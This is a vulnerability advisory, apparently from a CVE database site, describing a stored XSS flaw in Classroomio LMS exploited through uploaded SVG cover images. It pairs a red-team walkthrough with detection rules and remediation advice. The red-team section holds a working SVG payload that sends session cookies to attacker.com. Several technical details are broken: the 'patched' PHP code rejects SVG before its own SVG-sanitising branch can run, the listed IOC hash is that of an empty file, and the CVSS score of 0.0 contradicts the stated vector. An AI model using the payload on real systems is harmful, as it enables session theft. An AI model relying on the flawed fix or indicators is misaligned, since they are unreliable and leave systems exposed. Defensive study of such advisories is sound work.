CVE-2025-65676
Executive Summary
CVE-2025-65676 is a Stored Cross-Site Scripting (XSS) vulnerability identified in Classroomio LMS version 0.1.13. An authenticated attacker can exploit this flaw by uploading a crafted SVG image as a cover image, leading to arbitrary JavaScript execution within the context of other users' browsers. This can result in session hijacking, data theft, or defacement. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and is currently unpatched. No public proof-of-concept (PoC) or exploit code has been released, but the risk is elevated due to the authenticated attack vector and the potential for widespread impact in educational environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Classroomio LMS is a PHP-based application. The vulnerability does not directly affect the supply chain of NPM, PyPI, Go, or Ruby packages. However, administrators should verify the integrity of any third-party plugins or themes used within the LMS, as they may introduce similar XSS risks.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Base Score not provided by NVD; estimated based on vector)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: Required (victim must view the crafted image)
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium (due to authenticated requirement but potential for widespread exploitation in shared environments)
Deep Dive & Mechanics
The vulnerability resides in the cover image upload functionality of Classroomio LMS. The application fails to sanitize or validate SVG files properly. SVG (Scalable Vector Graphics) files can contain embedded JavaScript within <script> tags or event handlers (e.g., onload, onerror). When an authenticated user uploads a malicious SVG as a cover image, the server stores it without stripping the malicious code. Subsequently, when any user (including administrators) views the page containing that cover image, the browser executes the embedded script in the context of the LMS domain.
Attack Flow:
- Attacker logs in as an authenticated user.
- Attacker crafts an SVG file containing a JavaScript payload (e.g.,
fetch('https://attacker.com/steal?cookie='+document.cookie)). - Attacker uploads the SVG as a cover image via the profile or course settings.
- Victim (another user or admin) navigates to the page displaying the cover image.
- The SVG is rendered, and the JavaScript executes, exfiltrating data or performing actions on behalf of the victim.
Root Cause: Lack of input validation and output encoding for SVG files. The application likely uses a generic file upload handler that does not inspect the content type or sanitize SVG elements.
Vulnerable vs. Patched Code
Since no patch is available, the following represents the vulnerable code pattern and a recommended fix.
Vulnerable Code (PHP example):
// upload.php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["cover_image"]["name"]);
move_uploaded_file($_FILES["cover_image"]["tmp_name"], $target_file);
// No validation or sanitization
Patched Code (Recommended):
// upload.php
$target_dir = "uploads/";
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$file_type = mime_content_type($_FILES["cover_image"]["tmp_name"]);
if (!in_array($file_type, $allowed_types)) {
die("Invalid file type.");
}
// For SVG, use a sanitizer like HTML Purifier or remove script tags
if ($file_type === 'image/svg+xml') {
$svg_content = file_get_contents($_FILES["cover_image"]["tmp_name"]);
$svg_content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svg_content);
$svg_content = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $svg_content);
file_put_contents($target_file, $svg_content);
} else {
move_uploaded_file($_FILES["cover_image"]["tmp_name"], $target_file);
}
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Access to an authenticated user account on Classroomio LMS 0.1.13.
- Ability to upload a cover image.
Steps:
- Create a malicious SVG file (e.g.,
evil.svg):
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
<circle cx="50" cy="50" r="40" fill="red" />
</svg>
- Log in to Classroomio LMS.
- Navigate to profile or course settings where cover image upload is available.
- Upload
evil.svgas the cover image. - Share the profile/course link with the victim or wait for an admin to view it.
- Set up a listener on
attacker.comto capture exfiltrated cookies.
Expected Outcome: The victim's browser executes the script, sending their session cookie to the attacker's server.
Blue Team (Defender)
Detection:
- Monitor file upload logs for SVG files.
- Use WAF rules to block SVG uploads or strip script tags.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search for SVG files in the uploads directory that contain
<script>tags or event handlers. - Review web server logs for requests to
/uploads/with SVG extensions.
Lab Setup:
- Deploy a local instance of Classroomio LMS 0.1.13 using Docker or a LAMP stack.
- Create a test user and upload a benign SVG to verify the upload functionality.
- Use a browser developer tools to inspect the rendered SVG for script execution.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – actual hash depends on payload)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(malicious SVG)
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains containing
?cookie=parameter. - Unusual SVG file uploads with non-standard dimensions or content.
- Outbound HTTP requests to attacker-controlled domains containing
- File System Indicators:
- SVG files in
/uploads/directory containing<script>tags oron*event handlers.
- SVG files in
- Log Indicators:
- Web server logs showing
POSTrequests to upload endpoints with.svgfiles. - Browser console errors related to CSP violations if CSP is enabled.
- Web server logs showing
Detection Engineering
YARA Rule
rule Detect_Malicious_SVG_XSS {
meta:
description = "Detects SVG files containing script tags or event handlers indicative of XSS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65676"
strings:
$script_tag = /<script\b[^>]*>/i
$event_handler = /\bon\w+\s*=\s*"/i
condition:
$script_tag or $event_handler
}
Sigma Rule
title: SVG Upload with Script Tags
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files containing script tags or event handlers
author: Valters IT
logsource:
category: file_event
product: linux
detection:
selection:
TargetFilename|endswith: '.svg'
TargetFilename|contains: '/uploads/'
condition: selection
falsepositives:
- Legitimate SVG files with embedded scripts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-65676 - SVG Upload with Script Tags"; flow:to_server; content:"POST"; http_method; content:".svg"; http_uri; content:"<script"; within:1000; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SVG uploads in the application configuration until a patch is available.
- Implement input validation to reject SVG files or sanitize them using a library like HTML Purifier.
- Apply Content Security Policy (CSP) headers to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'none'; - Educate users about the risks of uploading untrusted files.
Long-Term Fix:
- Upgrade to a patched version once released by the vendor.
- Conduct a code review of file upload functionality to ensure all file types are properly sanitized.
- Use a Web Application Firewall (WAF) to block malicious SVG uploads.
Workaround:
- Convert uploaded SVG files to PNG or JPEG server-side before storage, stripping all scripting capabilities.
Valters IT